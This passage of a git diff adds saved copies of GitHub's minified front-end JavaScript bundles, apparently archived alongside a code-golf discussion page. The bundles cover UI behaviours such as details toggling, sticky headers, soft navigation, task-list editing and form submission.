0:l.withGroup)!=null?f:!1;y(M,()=>{s(M,D);const e=I?v(M,D):null;Promise.resolve().then(()=>{m(M),c(n),M.dispatchEvent(new CustomEvent("details:toggled",{bubbles:!0,cancelable:!1,detail:{open:D}})),e&&M.dispatchEvent(new CustomEvent("details:toggled-group",{bubbles:!0,cancelable:!1,detail:{open:D,group:e}}))})})}t(S,"toggleDetailsTarget");function T(n){const l=n.getAttribute("data-details-container")||".js-details-container",f=n.closest(l).classList;return f.contains("Details--on")||f.contains("open")}t(T,"isDetailsTargetExpanded");function O(n){const l=n.altKey,g=n.currentTarget;S(g,{withGroup:l}),n.preventDefault()}t(O,"handleDetailsTargetClick"),(0,A.on)("click",".js-details-target",O),(0,d.Z)(function({target:n}){n&&C(n)});function C(n){let l=!1,g=n.parentElement;for(;g;)g.classList.contains("Details-content--shown")&&(l=!0),g.classList.contains("js-details-container")&&(g.classList.toggle("open",!l),g.classList.toggle("Details--on",!l),l=!1),g=g.parentElement}t(C,"ensureExpanded")},30479:(R,L,r)=>{r.d(L,{h:()=>A});var d=r(59753);(0,d.on)("click",".js-skip-to-content",function(i){const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;c instanceof HTMLElement&&(c.setAttribute("tabindex","-1"),c.setAttribute("data-skipped-to-content","1"),c.focus())}i.preventDefault()});function A(){let i=!1;const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;if(c instanceof HTMLElement)return i=c.getAttribute("data-skipped-to-content")==="1",i&&c.removeAttribute("data-skipped-to-content"),i}}t(A,"hasSkippedToContent");const _="ontouchstart"in document;function y(){return window.innerWidth>1012}t(y,"compatibleDesktop");for(const i of document.querySelectorAll(".HeaderMenu-details"))i.addEventListener("toggle",o),_||(i.addEventListener("mouseover",a),i.addEventListener("mouseleave",a));let p=!1;function o(i){if(!p){p=!0;for(const m of document.querySelectorAll(".HeaderMenu-details"))m!==i.currentTarget&&m.removeAttribute("open");setTimeout(()=>p=!1)}}t(o,"onMenuToggle");function a(i){const{currentTarget:m}=i;!(m instanceof HTMLElement)||!y()||(i.type==="mouseover"&&i instanceof MouseEvent?i.target instanceof Node&&i.relatedTarget instanceof Node&&m.contains(i.target)&&!m.contains(i.relatedTarget)&&m.setAttribute("open",""):m.removeAttribute("open"))}t(a,"onMenuHover")},55444:(R,L,r)=>{r.d(L,{$:()=>i,G:()=>a});var d=r(6741),A=r(64463),_=r(59753);(0,A.N7)("include-fragment, poll-include-fragment",{subscribe:c=>(0,d.qC)((0,d.RB)(c,"error",o),(0,d.RB)(c,"loadstart",p))}),(0,_.on)("click","include-fragment button[data-retry-button]",({currentTarget:c})=>{const E=c.closest("include-fragment"),h=E.src;E.src="",E.src=h});function y(c,E){const h=c.currentTarget;if(h instanceof Element){for(const v of h.querySelectorAll("[data-show-on-error]"))v instanceof HTMLElement&&(v.hidden=!E);for(const v of h.querySelectorAll("[data-hide-on-error]"))v instanceof HTMLElement&&(v.hidden=E)}}t(y,"toggleElements");function p(c){y(c,!1)}t(p,"onLoad");function o(c){y(c,!0)}t(o,"onError");function a({currentTarget:c}){c instanceof Element&&i(c)}t(a,"loadDeferredContentByEvent");function i(c){const E=c.closest("details");E&&m(E)}t(i,"loadDeferredContent");function m(c){const E=c.getAttribute("data-deferred-details-content-url");if(E){c.removeAttribute("data-deferred-details-content-url");const h=c.querySelector("include-fragment, poll-include-fragment");h&&(h.src=E)}}t(m,"setIncludeFragmentSrc")},79775:(R,L,r)=>{r.d(L,{O3:()=>a,SX:()=>y,_g:()=>p,a8:()=>_,lB:()=>o});let d=0;const A=new Set;function _(i){A.add(i)}t(_,"observeStickyHeaderHeight");function y(i){A.delete(i)}t(y,"unobserveStickyHeaderHeight");function p(){return d}t(p,"getBaseStickyHeaderHeight");function o(i){d=i,i?document.body.style.setProperty("--base-sticky-header-height",`${i}px`):document.body.style.removeProperty("--base-sticky-header-height");for(const m of A)m(i)}t(o,"setBaseStickyHeaderHeight");const a="var(--base-sticky-header-height, 0px)"},55898:(R,L,r)=>{r.d(L,{H:()=>c});var d=r(30479),A=r(7739),_=r(64463),y=r(79775);let p=!1;const o=[];function a(){o.length?i():m()}t(a,"manageObservers");function i(){p||(window.addEventListener("resize",E),document.addEventListener("scroll",E),p=!0)}t(i,"addObservers");function m(){window.removeEventListener("resize",E),document.removeEventListener("scroll",E),p=!1}t(m,"removeObservers");function c(){h(!0)}t(c,"forceStickyRelayout");function E(){h()}t(E,"checkElementsForStickingHandler");function h(e=!1){for(const u of o)if(u.element.offsetHeight>0){const{element:b,placeholder:P,top:k}=u,B=b.getBoundingClientRect();if(P){const H=P.getBoundingClientRect();b.classList.contains("is-stuck")?H.top>D(b,k)?S(u):T(u):B.top<=D(b,k)?s(u):e&&T(u)}else B.top-D(b,k)<.1?s(u):S(u)}}t(h,"checkElementsForSticking");function v(e){const{position:u}=window.getComputedStyle(e);return/sticky/.test(u)}t(v,"browserHasSticky");function s({element:e,placeholder:u,top:b}){if(u){const P=e.getBoundingClientRect();I(e,D(e,b)),e.style.left=`${P.left}px`,e.style.width=`${P.width}px`,e.style.marginTop="0",e.style.position="fixed",u.style.display="block"}e.classList.add("is-stuck")}t(s,"pinSet");function S({element:e,placeholder:u}){u&&(e.style.position="static",e.style.marginTop=u.style.marginTop,u.style.display="none"),e.classList.remove("is-stuck")}t(S,"unpinSet");function T({element:e,placeholder:u,offsetParent:b,top:P}){if(u&&!(0,d.h)()){const k=e.getBoundingClientRect(),B=u.getBoundingClientRect();if(I(e,D(e,P)),e.style.left=`${B.left}px`,e.style.width=`${B.width}px`,b){const H=b.getBoundingClientRect();H.bottomb.element).indexOf(e);o.splice(u,1)}t(n,"removeSet");async function l(e){await A.C,C(e),h(),a()}t(l,"initializeSet"),(0,_.N7)(".js-sticky",{constructor:HTMLElement,add(e){!e.isConnected||l(e)},remove(e){n(e),a()}}),(0,_.N7)(".js-notification-top-shelf",{constructor:HTMLElement,add(e){g(e)},remove(){(0,y._g)()>0&&((0,y.lB)(0),f(),c())}}),(0,_.N7)(".js-notification-shelf-offset-top, .js-position-sticky",{constructor:HTMLElement,add:w});async function g(e){if(e.offsetParent===null)return;await A.C;const u=Math.floor(e.getBoundingClientRect().height);u>0&&((0,y.lB)(u),f(),c())}t(g,"initializeNotificationShelf");function f(){for(const e of document.querySelectorAll(".js-position-sticky, .js-notification-shelf-offset-top"))w(e)}t(f,"updateTopOffsets");function w(e){if(e.classList.contains("js-notification-top-shelf"))return;const u=parseInt(M(e))||0;I(e,u+(0,y._g)())}t(w,"updateTopOffset");function M(e){const u=e.getAttribute("data-original-top");if(u!=null)return u;const b=window.getComputedStyle(e).top;return e.setAttribute("data-original-top",b),b}t(M,"getOriginalTop");function D(e,u){return e.classList.contains("js-notification-top-shelf")?u:u+(0,y._g)()}t(D,"withShelfOffset");function I(e,u){e.style.setProperty("top",`${u}px`,"important")}t(I,"setTopImportant")},84818:(R,L,r)=>{r.d(L,{Z:()=>A});class d{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}t(d,"NoOpStorage");function A(_,y={throwQuotaErrorsOnSet:!1},p=window){let o;try{o=p[_]}catch{o=new d}const{throwQuotaErrorsOnSet:a}=y;function i(E){try{return o.getItem(E)}catch{return null}}t(i,"getItem");function m(E,h){try{o.setItem(E,h)}catch(v){if(a&&v.message.toLowerCase().includes("quota"))throw v}}t(m,"setItem");function c(E){try{o.removeItem(E)}catch{}}return t(c,"removeItem"),{getItem:i,setItem:m,removeItem:c}}t(A,"safeStorage")},24216:(R,L,r)=>{r.d(L,{LS:()=>_,cl:()=>y,rV:()=>A});var d=r(84818);const{getItem:A,setItem:_,removeItem:y}=(0,d.Z)("sessionStorage")},29946:(R,L,r)=>{r.d(L,{Ak:()=>s,F2:()=>w,F6:()=>n,FP:()=>h,LD:()=>E,OE:()=>c,Po:()=>m,QE:()=>y,Rl:()=>g,Xk:()=>O,Ys:()=>C,aN:()=>f,wP:()=>l});var d=r(24216),A=r(47930),_=r(45922);const y=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),p="soft-navigation-fail",o="soft-navigation-referrer",a="soft-navigation-marker",i="reload";function m(){return(0,d.rV)(a)==="1"}t(m,"inSoftNavigation");function c(){return Boolean(S())}t(c,"hasSoftNavFailure");function E(){performance.mark(a),(0,d.LS)(a,"1"),(0,d.LS)(o,(0,A.S)()||window.location.href)}t(E,"startSoftNav");function h(){(0,d.LS)(a,"0")}t(h,"endSoftNav");function v(){(0,d.LS)(a,"0"),(0,d.cl)(o),(0,d.cl)(p)}t(v,"clearSoftNav");function s(M){(0,d.LS)(p,M||i)}t(s,"setSoftNavFailReason");function S(){return(0,d.rV)(p)}t(S,"getSoftNavFailReason");let T=0;function O(){T+=1,document.dispatchEvent(new CustomEvent(y.SUCCESS,{detail:T}))}t(O,"softNavSucceeded");function C(){const M=S()||i;document.dispatchEvent(new CustomEvent(y.ERROR,{detail:M})),T=0,v(),(0,_.b)({turboFailureReason:M})}t(C,"softNavFailed");function n(){document.dispatchEvent(new CustomEvent(y.INITIAL)),T=0,v()}t(n,"softNavInitial");function l(){return(0,d.rV)(o)||document.referrer}t(l,"getSoftNavReferrer");function g(){return performance.getEntriesByName(a).length===0?0:performance.measure(a,a).duration}t(g,"getDurationSinceLastSoftNav");function f(){document.dispatchEvent(new Event(y.START))}t(f,"beginProgressBar");function w(){document.dispatchEvent(new Event(y.END))}t(w,"completeProgressBar")},11820:(R,L,r)=>{r.d(L,{kc:()=>y,lA:()=>p,zT:()=>_});var d=r(61161),A=r(55898);function _(o){if(o.hasAttribute("data-ignore-sticky-scroll"))return;const a=o.ownerDocument;setTimeout(()=>{a&&a.defaultView&&(o.scrollIntoView(),a.defaultView.scrollBy(0,-p(a)))},0)}t(_,"scrollIntoView");function y(o){const a=(0,d.Kt)(o);a&&_(a)}t(y,"scrollToFragmentTarget");function p(o){(0,A.H)();const a=o.querySelectorAll(".js-sticky-offset-scroll"),i=o.querySelectorAll(".js-position-sticky"),m=Math.max(0,...Array.from(a).map(h=>{const{top:v,height:s}=h.getBoundingClientRect();return v===0?s:0}))+Math.max(0,...Array.from(i).map(h=>{const{top:v,height:s}=h.getBoundingClientRect(),S=parseInt(getComputedStyle(h).top);if(!h.parentElement)return 0;const T=h.parentElement.getBoundingClientRect().top;return v===S&&T<0?s:0})),c=o.querySelectorAll(".js-position-sticky-stacked"),E=Array.from(c).reduce((h,v)=>{const{height:s,top:S}=v.getBoundingClientRect(),T=S<0,O=v.classList.contains("is-stuck");return h+(!T&&O?s:0)},0);return m+E}t(p,"computeFixedYOffset")},78965:(R,L,r)=>{r.d(L,{H5:()=>i,Of:()=>E,x0:()=>c,z8:()=>m});var d=r(55741),A=r(64463),_=r(12981),y=r(96776),p=r(6170);const o=new WeakMap,a={};function i(){for(const S of Object.keys(a))delete a[S];const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href),window.location.reload()}t(i,"reload");function m(){if(Object.keys(a).length>0){const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href)}}t(m,"registerStaleRecords");async function c(s){if(o.get(s))return;const S=s.hasAttribute("data-retain-focus"),T=s.getAttribute("data-url");if(!T)throw new Error("could not get url");const O=new AbortController;o.set(s,O);try{const C=await fetch(T,{signal:O.signal,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});if(!C.ok)return;const n=await C.text();if((0,d.M)(s,S)){console.warn("Failed to update content with interactions",s);return}return a[T]=n,h(s,n,S)}catch{}finally{o.delete(s)}}t(c,"updateContent");async function E(s,S,T=!1){const O=o.get(s);O==null||O.abort();const C=s.closest(".js-updatable-content[data-url], .js-updatable-content [data-url]");return!T&&C&&C===s&&(a[C.getAttribute("data-url")||""]=S),h(s,S)}t(E,"replaceContent");function h(s,S,T=!1){return(0,y._8)(document,()=>{const O=(0,_.r)(document,S.trim()),C=T&&s.ownerDocument&&s===s.ownerDocument.activeElement?O.querySelector("*"):null,n=Array.from(s.querySelectorAll("details[open][id]")).map(l=>l.id);s.tagName==="DETAILS"&&s.id&&s.hasAttribute("open")&&n.push(s.id);for(const l of s.querySelectorAll(".js-updatable-content-preserve-scroll-position")){const g=l.getAttribute("data-updatable-content-scroll-position-id")||"";v.set(g,l.scrollTop)}for(const l of n){const g=O.querySelector(`#${l}`);g&&g.setAttribute("open","")}s.replaceWith(O),C instanceof HTMLElement&&C.focus()})}t(h,"replace");const v=new Map;(0,A.N7)(".js-updatable-content-preserve-scroll-position",{constructor:HTMLElement,add(s){const S=s.getAttribute("data-updatable-content-scroll-position-id");if(!S)return;const T=v.get(S);T!=null&&(s.scrollTop=T)}})}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7-5a4c6c94cf6d.js.map \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js new file mode 100644 index 0000000..005869f --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var ne=Object.defineProperty;var s=(M,w)=>ne(M,"name",{value:w,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef"],{7679:(M,w,c)=>{c.d(w,{H:()=>f,v:()=>p});var h=c(59753);function p(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}s(p,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}s(f,"hideGlobalError"),(0,h.on)("deprecatedAjaxError","[data-remote]",function(l){const r=l.detail,{error:d,text:E}=r;l.currentTarget===l.target&&(d==="abort"||d==="canceled"||(/{c.d(w,{Ty:()=>p,YE:()=>f,Zf:()=>l});var h=c(11793);const p=s(()=>{const r=document.querySelector("meta[name=keyboard-shortcuts-preference]");return r?r.content==="all":!0},"areCharacterKeyShortcutsEnabled"),f=s(r=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(r)||r.includes("Alt")&&r.includes("Shift"),"isNonCharacterKeyShortcut"),l=s(r=>{const d=(0,h.EL)(r);return p()?!0:f(d)},"isShortcutAllowed")},72669:(M,w,c)=>{c.d(w,{L$:()=>E,nj:()=>g});var h=c(6741),p=c(59753),f=c(40987),l=c(64463),r=c(65935),d=c(56238);(0,l.N7)(".js-task-list-container .js-task-list-field",function(e){const o=e.closest(".js-task-list-container");E(o),q(o)}),(0,p.on)("task-lists-move","task-lists",function(e){const{src:o,dst:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,"reordered",{operation:"move",src:o,dst:t})}),(0,p.on)("task-lists-check","task-lists",function(e){const{position:o,checked:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,`checked:${t?1:0}`,{operation:"check",position:o,checked:t})});function E(e){if(e.querySelector(".js-task-list-field")){const o=e.querySelectorAll("task-lists");for(const t of o)if(t instanceof f.Z){t.disabled=!1;const u=t.querySelectorAll("button");for(const T of u)T.disabled=!1}}}s(E,"enableTaskList");function g(e){for(const o of e.querySelectorAll("task-lists"))if(o instanceof f.Z){o.disabled=!0;const t=o.querySelectorAll("button");for(const u of t)u.disabled=!0}}s(g,"disableTaskList");function m(e,o,t){const u=e.querySelector(".js-comment-update");g(e),q(e);const T=u.elements.namedItem("task_list_track");T instanceof Element&&T.remove();const y=u.elements.namedItem("task_list_operation");y instanceof Element&&y.remove();const A=document.createElement("input");A.setAttribute("type","hidden"),A.setAttribute("name","task_list_track"),A.setAttribute("value",o),u.appendChild(A);const k=document.createElement("input");if(k.setAttribute("type","hidden"),k.setAttribute("name","task_list_operation"),k.setAttribute("value",JSON.stringify(t)),u.appendChild(k),!u.elements.namedItem("task_list_key")){const O=u.querySelector(".js-task-list-field").getAttribute("name").split("[")[0],I=document.createElement("input");I.setAttribute("type","hidden"),I.setAttribute("name","task_list_key"),I.setAttribute("value",O),u.appendChild(I)}e.classList.remove("is-comment-stale"),(0,d.Bt)(u)}s(m,"saveTaskList"),(0,r.AC)(".js-task-list-container .js-comment-update",async function(e,o){const t=e.closest(".js-task-list-container"),u=e.elements.namedItem("task_list_track");u instanceof Element&&u.remove();const T=e.elements.namedItem("task_list_operation");T instanceof Element&&T.remove();let y;try{y=await o.json()}catch(A){let k;try{k=JSON.parse(A.response.text)}catch{}if(k&&k.stale){const C=t.querySelector(".js-task-list-field");C.classList.add("session-resumable-canceled"),C.classList.remove("js-session-resumable")}else A.response.status===422||window.location.reload()}y&&(T&&y.json.source&&(t.querySelector(".js-task-list-field").value=y.json.source),E(t),requestAnimationFrame(()=>q(t)))});let v=!1,_=!1,L=null;function i(e){e.inputType==="insertLineBreak"?v=!0:v=!1}s(i,"tryAutoCompleteOnBeforeInput");function a(e){const o=e;if(!v&&!(o.inputType==="insertLineBreak"))return;const t=o.target;n(t),v=!1}s(a,"autoCompleteOnInput");function n(e){const o=Y(e.value,[e.selectionStart,e.selectionEnd]);o!==void 0&&b(e,o)}s(n,"listAutocomplete");function b(e,o){if(L===null||L===!0){e.contentEditable="true";try{v=!1;let t;o.commandId===X.insertText?(t=o.autocompletePrefix,o.writeSelection[0]!==null&&o.writeSelection[1]!==null&&(e.selectionStart=o.writeSelection[0],e.selectionEnd=o.writeSelection[1])):e.selectionStart=o.selection[0],L=document.execCommand(o.commandId,!1,t)}catch{L=!1}e.contentEditable="false"}if(!L){try{document.execCommand("ms-beginUndoUnit")}catch{}e.value=o.text;try{document.execCommand("ms-endUndoUnit")}catch{}e.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}o.selection[0]!=null&&o.selection[1]!=null&&(e.selectionStart=o.selection[0],e.selectionEnd=o.selection[1])}s(b,"updateElementText");function S(e){if(_)return;const o=e;if(o.key==="Enter"&&o.shiftKey&&!o.metaKey){const t=o.target,u=G(t.value,[t.selectionStart,t.selectionEnd]);if(u===void 0)return;b(t,u),o.preventDefault(),(0,p.f)(t,"change")}}s(S,"handleShiftEnter");function R(){_=!0}s(R,"onCompositionStart");function j(){_=!1}s(j,"onCompositionEnd");function H(e){if(_)return;const o=e;if(o.key==="Escape"){ee(e);return}if(o.key!=="Tab")return;const t=o.target,u=Q(t.value,[t.selectionStart,t.selectionEnd],o.shiftKey);u!==void 0&&(o.preventDefault(),b(t,u))}s(H,"updateIndentation"),(0,l.N7)(".js-task-list-field",{subscribe:e=>(0,h.qC)((0,h.RB)(e,"keydown",H),(0,h.RB)(e,"keydown",S),(0,h.RB)(e,"beforeinput",i),(0,h.RB)(e,"input",a),(0,h.RB)(e,"compositionstart",R),(0,h.RB)(e,"compositionend",j))});var X=(e=>(e.insertText="insertText",e.delete="delete",e))(X||{});const Z=/^(\s*)?/;function G(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-1],y=T==null?void 0:T.match(Z);if(!y)return;const k=` +${y[1]||""}`;return{text:e.substring(0,t)+k+e.substring(t),autocompletePrefix:k,selection:[t+k.length,t+k.length],commandId:"insertText",writeSelection:[null,null]}}s(G,"addSoftNewline");const z=/^(\s*)([*-]|(\d+)\.)\s(\[[\sx]\]\s)?/;function J(e,o){let t=e.split(` +`);return t=t.map(u=>{if(u.replace(/^\s+/,"").startsWith(`${o}.`)){const T=u.replace(`${o}`,`${o+1}`);return o+=1,T}return u}),t.join(` +`)}s(J,"updateRemainingNumberBullets");function Y(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-2],y=T==null?void 0:T.match(z);if(!y)return;const A=y[0],k=y[1],C=y[2],x=parseInt(y[3],10),O=Boolean(y[4]),I=!isNaN(x);let B=`${I?`${x+1}.`:C} ${O?"[ ] ":""}`,W=e.indexOf(` +`,t);W<0&&(W=e.length);const K=e.substring(t,W);if(K.startsWith(B)&&(B=""),T.replace(A,"").trim().length>0||K.trim().length>0){let P=`${k}${B}`,D=e.substring(t);const F=P.length;let U=[null,null];const te=/^\s*$/g;let V=e.substring(0,t)+P+D;return I&&!e.substring(t).match(te)&&(D=J(e.substring(t),x+1),P+=D,U=[t,t+P.length],V=e.substring(0,t)+P),{text:V,autocompletePrefix:P,selection:[t+F,t+F],commandId:"insertText",writeSelection:U}}else{const P=t-` +${A}`.length;return{autocompletePrefix:"",text:e.substring(0,P)+e.substring(t),selection:[P,P],commandId:"delete",writeSelection:[null,null]}}}s(Y,"autocompletedList");function Q(e,o,t){const u=o[0]||0,T=o[1]||u;if(o[0]===null||u===T)return;const y=e.substring(0,u).lastIndexOf(` +`)+1,A=e.indexOf(` +`,T-1),k=A>0?A:e.length-1,C=e.substring(y,k).split(` +`);let x=!1,O=0,I=0;const N=[];for(const $ of C){const P=$.match(/^\s*/);if(P){let D=P[0];const F=$.substring(D.length);if(t){const U=D.length;D=D.slice(0,-2),O=x?O:D.length-U,x=!0,I+=D.length-U}else D+=" ",O=2,I+=2;N.push(D+F)}}const B=N.join(` +`),W=e.substring(0,y)+B+e.substring(k),K=[Math.max(y,u+O),T+I];return{text:W,selection:K,autocompletePrefix:B,commandId:"insertText",writeSelection:[y,k]}}s(Q,"indent");function ee(e){const t=e.target;t.selectionDirection==="backward"?t.selectionEnd=t.selectionStart:t.selectionStart=t.selectionEnd}s(ee,"deselectText");function q(e){if(document.querySelectorAll("tracked-issues-progress").length===0||e.closest(".js-timeline-item"))return;const t=e.querySelectorAll(".js-comment-body [type=checkbox]"),u=t.length,T=Array.from(t).filter(A=>A.checked).length,y=document.querySelectorAll("tracked-issues-progress[data-type=checklist]");for(const A of y)A.setAttribute("data-completed",String(T)),A.setAttribute("data-total",String(u))}s(q,"updateProgress")},12737:(M,w,c)=>{c.d(w,{W:()=>p});var h=c(59753);async function p(f){const r=document.querySelector("#site-details-dialog").content.cloneNode(!0),d=r.querySelector("details"),E=d.querySelector("details-dialog"),g=d.querySelector(".js-details-dialog-spinner");f.detailsClass&&d.classList.add(...f.detailsClass.split(" ")),f.dialogClass&&E.classList.add(...f.dialogClass.split(" ")),f.label?E.setAttribute("aria-label",f.label):f.labelledBy&&E.setAttribute("aria-labelledby",f.labelledBy),document.body.append(r);const m=await f.content;return g.remove(),E.prepend(m),d.addEventListener("toggle",()=>{d.hasAttribute("open")||((0,h.f)(E,"dialog:remove"),d.remove())}),E}s(p,"dialog")},29719:(M,w,c)=>{c.d(w,{D:()=>l,a:()=>f});var h=c(17463),p=c(12981);async function f(r,d,E){const g=new Request(d,E);g.headers.append("X-Requested-With","XMLHttpRequest");const m=await self.fetch(g);if(m.status<200||m.status>=300)throw new Error(`HTTP ${m.status}${m.statusText||""}`);return(0,h.t)((0,h.P)(r),m),(0,p.r)(r,await m.text())}s(f,"fetchSafeDocumentFragment");function l(r,d,E=1e3){return s(async function g(m){const v=new Request(r,d);v.headers.append("X-Requested-With","XMLHttpRequest");const _=await self.fetch(v);if(_.status<200||_.status>=300)throw new Error(`HTTP ${_.status}${_.statusText||""}`);if(_.status===200)return _;if(_.status===202)return await new Promise(L=>setTimeout(L,m)),g(m*1.5);throw new Error(`Unexpected ${_.status} response status from poll endpoint`)},"poll")(E)}s(l,"fetchPoll")},56238:(M,w,c)=>{c.d(w,{Bt:()=>r,DN:()=>g,KL:()=>_,Se:()=>E,qC:()=>L,sw:()=>m});var h=c(59753),p=c(2061),f=c(7679);(0,h.on)("click",".js-remote-submit-button",async function(i){const n=i.currentTarget.form;i.preventDefault();let b;try{b=await fetch(n.action,{method:n.method,body:new FormData(n),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}b&&!b.ok&&(0,f.v)()});function l(i,a,n){return i.dispatchEvent(new CustomEvent(a,{bubbles:!0,cancelable:n}))}s(l,"fire");function r(i,a){a&&(d(i,a),(0,p.j)(a)),l(i,"submit",!0)&&i.submit()}s(r,"requestSubmit");function d(i,a){if(!(i instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(a instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(a.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!i||i!==a.form)throw new Error("The specified element is not owned by the form element.")}s(d,"checkButtonValidity");function E(i,a){if(typeof a=="boolean")if(i instanceof HTMLInputElement)i.checked=a;else throw new TypeError("only checkboxes can be set to boolean value");else{if(i.type==="checkbox")throw new TypeError("checkbox can't be set to string value");i.value=a}l(i,"change",!1)}s(E,"changeValue");function g(i,a){for(const n in a){const b=a[n],S=i.elements.namedItem(n);(S instanceof HTMLInputElement||S instanceof HTMLTextAreaElement)&&(S.value=b)}}s(g,"fillFormValues");function m(i){if(!(i instanceof HTMLElement))return!1;const a=i.nodeName.toLowerCase(),n=(i.getAttribute("type")||"").toLowerCase();return a==="select"||a==="textarea"||a==="input"&&n!=="submit"&&n!=="reset"||i.isContentEditable}s(m,"isFormField");function v(i){return new URLSearchParams(i)}s(v,"searchParamsFromFormData");function _(i,a){const n=new URLSearchParams(i.search),b=v(a);for(const[S,R]of b)n.append(S,R);return n.toString()}s(_,"combineGetFormSearchParams");function L(i){return v(new FormData(i)).toString()}s(L,"serialize")},55741:(M,w,c)=>{c.d(w,{M:()=>f,T:()=>l});var h=c(14840),p=c(56238);function f(n,b=!1){return l(n)||v(n,b)||i(n)||a(n)}s(f,"hasInteractions");function l(n){for(const b of n.querySelectorAll("input, textarea"))if((b instanceof HTMLInputElement||b instanceof HTMLTextAreaElement)&&r(b))return!0;return!1}s(l,"hasDirtyFields");function r(n){if(n instanceof HTMLInputElement&&(n.type==="checkbox"||n.type==="radio")){if(n.checked!==n.defaultChecked)return!0}else if(n.value!==n.defaultValue)return!0;return!1}s(r,"formFieldValueChanged");let d;async function E(n,b){d=n;try{await b()}finally{d=null}}s(E,"withActiveElement");function g(n){return d instanceof Element?d:n&&n.ownerDocument&&n.ownerDocument.activeElement?n.ownerDocument.activeElement:null}s(g,"getActiveElement");let m;document.addEventListener("mouseup",function(n){m=n.target});function v(n,b){const S=g(n);return S===null||b&&S===n?!1:S===n&&(0,p.sw)(S)||n.contains(S)&&!L(S)?!0:m instanceof Element&&n.contains(m)&&!!m.closest("details[open] > summary")}s(v,"hasFocus");const _="a[href], button";function L(n){var b;if(n instanceof h.Z)return!0;const S=n instanceof HTMLAnchorElement||n instanceof HTMLButtonElement,R=(b=n.parentElement)==null?void 0:b.classList.contains("task-list-item");if(S&&R)return!0;if(!(m instanceof Element))return!1;const j=n.closest(_);if(!j)return!1;const H=m.closest(_);return j===H}s(L,"activeElementIsSafe");function i(n){return n.matches(":active:enabled")}s(i,"hasMousedown");function a(n){return!!(n.closest(".is-dirty")||n.querySelector(".is-dirty"))}s(a,"markedAsDirty")},17463:(M,w,c)=>{c.d(w,{P:()=>h,t:()=>f});function h(l){const r=[...l.querySelectorAll("meta[name=html-safe-nonce]")].map(d=>d.content);if(r.length<1)throw new Error("could not find html-safe-nonce on document");return r}s(h,"getDocumentHtmlSafeNonces");class p extends Error{constructor(r,d){super(`${r} for HTTP ${d.status}`);this.response=d}}s(p,"ResponseError");function f(l,r,d=!1){const E=r.headers.get("content-type")||"";if(!d&&!E.startsWith("text/html"))throw new p(`expected response with text/html, but was ${E}`,r);if(d&&!(E.startsWith("text/html")||E.startsWith("application/json")))throw new p(`expected response with text/html or application/json, but was ${E}`,r);const g=r.headers.get("x-html-safe");if(g){if(!l.includes(g))throw new p("response X-HTML-Safe nonce did not match",r)}else throw new p("missing X-HTML-Safe nonce",r)}s(f,"verifyResponseHtmlSafeNonce")},45075:(M,w,c)=>{c.d(w,{ZG:()=>r,q6:()=>E,w4:()=>d});var h=c(8439);let p=!1;const f=new h.Z;function l(g){const m=g.target;if(m instanceof HTMLElement&&m.nodeType!==Node.DOCUMENT_NODE)for(const v of f.matches(m))v.data.call(null,m)}s(l,"handleFocus");function r(g,m){p||(p=!0,document.addEventListener("focus",l,!0)),f.add(g,m),document.activeElement instanceof HTMLElement&&document.activeElement.matches(g)&&m(document.activeElement)}s(r,"onFocus");function d(g,m,v){function _(L){const i=L.currentTarget;!i||(i.removeEventListener(g,v),i.removeEventListener("blur",_))}s(_,"blurHandler"),r(m,function(L){L.addEventListener(g,v),L.addEventListener("blur",_)})}s(d,"onKey");function E(g,m){function v(_){const{currentTarget:L}=_;!L||(L.removeEventListener("input",m),L.removeEventListener("blur",v))}s(v,"blurHandler"),r(g,function(_){_.addEventListener("input",m),_.addEventListener("blur",v)})}s(E,"onInput")},2061:(M,w,c)=>{c.d(w,{j:()=>h,u:()=>p});function h(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let r=p(l);if(f.name){const d=f.matches("input[type=submit]")?"Submit":"",E=f.value||d;r||(r=document.createElement("input"),r.type="hidden",r.classList.add("is-submit-button-value"),l.prepend(r)),r.name=f.name,r.value=E}else r&&r.remove()}s(h,"persistSubmitButtonValue");function p(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}s(p,"findPersistedSubmitButtonValue")},25833:(M,w,c)=>{c.d(w,{Z:()=>L});var h=c(12737),p=c(29719),f=c(64463);function l(i){return new Promise(a=>{i.addEventListener("dialog:remove",a,{once:!0})})}s(l,"waitForDialogClose");function r(i){const 